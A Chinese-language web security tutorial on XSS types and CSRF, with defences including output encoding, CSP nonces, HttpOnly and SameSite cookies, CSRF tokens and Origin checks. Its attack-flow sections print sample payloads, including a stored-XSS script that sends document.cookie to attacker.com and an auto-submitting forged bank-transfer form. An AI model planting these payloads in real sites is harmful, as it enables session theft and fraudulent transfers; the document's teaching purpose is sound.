XSS 与 CSRF 防御实战

深入讲解跨站脚本攻击(XSS)三种类型、DOM-based XSS 原理、Content Security Policy(CSP)配置,以及 CSRF Token/Double Cookie/ SameSite 等跨站请求伪造防御技术。

XSS(Cross-Site Scripting,跨站脚本)和 CSRF(Cross-Site Request Forgery,跨站请求伪造)是 Web 应用最常见的两种攻击方式。本文深入分析其原理、变种与防御方案。


1. XSS 跨站脚本攻击

1.1 XSS 类型对比

类型触发方式持久化危害示例
反射型恶意链接诱骗点击钓鱼邮件中的恶意 URL
存储型恶意脚本存入服务端★★★评论中插入 <script>
DOM 型前端 JS 处理不当#hash 内容直接插入 DOM

1.2 反射型 XSS

攻击流程:
1. 攻击者构造恶意 URL:
   https://example.com/search?q=<script>alert(document.cookie)</script>

2. 诱骗用户点击链接(邮件、社交媒体)

3. 服务端将 q 参数直接返回页面:
   <div>搜索结果:<script>alert(document.cookie)</script></div>

4. 恶意脚本在用户浏览器中执行

1.3 存储型 XSS

攻击流程:
1. 攻击者在评论区提交:
   <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

2. 服务端将评论存入数据库

3. 其他用户浏览页面时,服务端从数据库取出评论直接输出

4. 所有查看该页面的用户都会执行恶意脚本

危害:蠕虫攻击(如 Samy 蠕虫感染 MySpace 百万用户)

1.4 DOM 型 XSS

// ❌ 危险的 DOM 操作
const hash = window.location.hash.substring(1);
document.write(hash);  // #<img src=x onerror=alert(1)>

// ❌ innerHTML 直接插入用户输入
document.getElementById('output').innerHTML = userInput;

// ✅ 使用 textContent
const div = document.getElementById('output');
div.textContent = userInput;  // 自动转义 HTML

// ✅ URL 片段安全处理
const urlParams = new URLSearchParams(window.location.search);
const name = urlParams.get('name');
// 不要直接插入 DOM,必须经过转义或安全处理

2. XSS 防御体系

2.1 输出编码(核心防御)

// OWASP Java Encoder
import org.owasp.encoder.Encode;

public class XssUtil {
    public static String forHtml(String input) {
        return Encode.forHtml(input);
        // < → &lt;   > → &gt;   " → &quot;   ' → &#x27;   & → &amp;
    }
    
    public static String forJavaScript(String input) {
        return Encode.forJavaScript(input);
    }
    
    public static String forHtmlAttribute(String input) {
        return Encode.forHtmlAttribute(input);
    }
    
    public static String forCssString(String input) {
        return Encode.forCssString(input);
    }
    
    public static String forUriComponent(String input) {
        return Encode.forUriComponent(input);
    }
}

编码上下文规则:

上下文编码方式示例
HTML 内容HTML Entity<div>&lt;div&gt;
HTML 属性HTML Attributevalue" onclick="alert(1)value&quot;...
JavaScriptJS Hex");alert(1);//\x22);alert(1);//
CSSCSS Stringexpression(alert(1)) → 转义或过滤
URLURL Encodejavascript:alert(1) → 协议白名单

2.2 输入验证

@Pattern(regexp = "[a-zA-Z0-9_]{3,20}", message = "用户名格式错误")
private String username;

@SafeHtml(whitelistType = SafeHtml.WhiteListType.NONE)
private String comment;

// 在控制器层统一处理
@InitBinder
public void initBinder(WebDataBinder binder) {
    StringTrimmerEditor editor = new StringTrimmerEditor(false);
    binder.registerCustomEditor(String.class, editor);
}

2.3 Content Security Policy (CSP)

CSP 是 XSS 的最强防御之一,通过响应头限制页面可加载的资源:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.example.com 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  font-src 'self' https://fonts.googleapis.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
指令含义
default-src默认策略
script-srcJS 加载来源
style-srcCSS 加载来源
img-src图片来源
connect-srcXHR/WebSocket/fetch
frame-ancestors允许嵌入该页面的来源
base-uri<base> 标签限制
form-action表单提交目标

Nonce 方式(推荐):

// 后端生成随机 nonce
String nonce = UUID.randomUUID().toString();
response.setHeader("Content-Security-Policy", 
    "script-src 'self' 'nonce-" + nonce + "'");
model.addAttribute("cspNonce", nonce);
<!-- Thymeleaf 模板 -->
<script th:nonce="${cspNonce}">
  // 合法的内联脚本
</script>

2.4 其他防御措施

# HttpOnly Cookie(XSS 无法读取 Cookie)
Set-Cookie: sessionid=xxx; HttpOnly; Secure; SameSite=Strict

# X-XSS-Protection(浏览器内置,现代浏览器已弃用,依赖 CSP 即可)
X-XSS-Protection: 0

3. CSRF 跨站请求伪造

3.1 攻击原理

攻击流程:
1. 用户登录银行网站 bank.com,Cookie 已保存

2. 用户访问攻击者网站 attacker.com

3. attacker.com 页面包含:
   <img src="https://bank.com/transfer?to=attacker&amount=10000">
   
   或自动提交的表单:
   <form action="https://bank.com/transfer" method="POST" id="csrf">
     <input name="to" value="attacker">
     <input name="amount" value="10000">
   </form>
   <script>document.getElementById('csrf').submit()</script>

4. 浏览器自动携带 bank.com 的 Cookie 发送请求

5. 银行网站信任该 Cookie,执行转账

核心:利用浏览器自动发送 Cookie 的机制,伪造用户身份

3.2 防御方案一:CSRF Token

// Spring Security 自动配置
@Configuration
@EnableWebSecurity
public class SecurityConfig {
    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()));
        return http.build();
    }
}

// HTML 表单中嵌入 Token
<form method="post" action="/transfer">
    <input type="hidden" name="_csrf" value="${_csrf.token}"/>
    <!-- 或使用请求头AJAX -->
</form>

// AJAX 请求自动携带
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'X-CSRF-TOKEN': getCsrfTokenFromCookie()  // 从 Cookie 读取
    }
});

// 服务端验证:请求中的 Token 必须与 Session/Cookie 中的匹配
Set-Cookie: sessionid=xxx; SameSite=Strict; Secure
SameSite行为适用
Strict仅同站请求携带 Cookie最安全,但影响部分跨站链接体验
LaxGET 请求允许跨站(POST 仍禁止)平衡安全与体验(推荐)
None允许所有跨站请求(必须配合 Secure)需要跨站嵌入的场景
// Spring Boot 配置
server.servlet.session.cookie.same-site=lax

3.4 防御方案三:Double Cookie(状态无关)

机制:
1. 设置 Cookie: csrf_token=random_value; SameSite=Lax
2. 前端读取 Cookie 值,放入请求头:X-CSRF-Token: random_value
3. 服务端比较 Cookie 中的值和请求头中的值是否一致

优势:
- 不需要服务端存储 Session
- 适合无状态 REST API
- 分布式/微服务友好
// 自定义 Double Cookie 过滤器
public class DoubleCookieCsrfFilter extends OncePerRequestFilter {
    @Override
    protected void doFilterInternal(HttpServletRequest req, 
                                     HttpServletResponse res, 
                                     FilterChain chain) {
        if ("POST".equals(req.getMethod())) {
            String cookieToken = getCookieValue(req, "csrf_token");
            String headerToken = req.getHeader("X-CSRF-Token");
            
            if (cookieToken == null || !cookieToken.equals(headerToken)) {
                res.setStatus(HttpServletResponse.SC_FORBIDDEN);
                return;
            }
        }
        chain.doFilter(req, res);
    }
}

3.5 防御方案四:Referer/Origin 检查

// 检查请求来源
String origin = request.getHeader("Origin");
String referer = request.getHeader("Referer");

if (origin == null || !origin.equals("https://example.com")) {
    throw new CsrfException();
}

注意:Referer 可能被浏览器禁用或代理移除,不应作为唯一防御。


4. 综合防御矩阵

防御层XSS 防御CSRF 防御
网络层WAF-
响应头CSP, X-Content-Type-OptionsSameSite Cookie
CookieHttpOnly, SecureSameSite, Double Cookie
输入前端/后端输入验证-
输出HTML/JS/CSS/URL 编码-
表单/请求-CSRF Token, Origin 校验
框架模板引擎自动转义Spring Security, Django CSRF

5. 总结

XSS 和 CSRF 虽然都是"跨站"攻击,但攻击方式和防御策略截然不同:

XSS:攻击者向网站注入恶意脚本(输入→输出)
      └── 防御:不信任任何用户输入,输出必须编码,CSP 兜底

CSRF:攻击者利用用户已登录状态伪造请求(利用 Cookie)
      └── 防御:SameSite Cookie + CSRF Token + Origin 校验

现代 Web 框架(Spring Security、Django、Rails、Laravel)都内置了这些防御机制,开发者应理解原理并正确配置,而不是自行造轮子。

继续阅读

探索更多技术文章

浏览归档,发现更多关于系统设计、工具链和工程实践的内容。

全部文章 返回首页

「安全」更多文章

  1. Kubernetes安全体系:RBAC、PodSecurity与NetworkPolicy实战
  2. 安全合规与数据保护
  3. 渗透测试与红蓝对抗